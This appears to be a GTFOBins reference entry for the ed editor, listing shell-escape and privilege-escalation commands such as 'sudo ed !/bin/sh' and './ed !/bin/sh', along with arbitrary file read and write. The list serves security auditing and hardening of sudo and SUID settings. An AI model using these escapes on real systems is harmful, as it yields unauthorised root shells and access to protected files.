GTFOBins.github.io/_gtfobins/ed.md

324 B

functions
execute-interactive sudo-enabled suid-limited file-read file-write
code
ed !/bin/sh
code
sudo ed !/bin/sh
code
./ed !/bin/sh
code
ed file_to_read
code
ed file_to_write w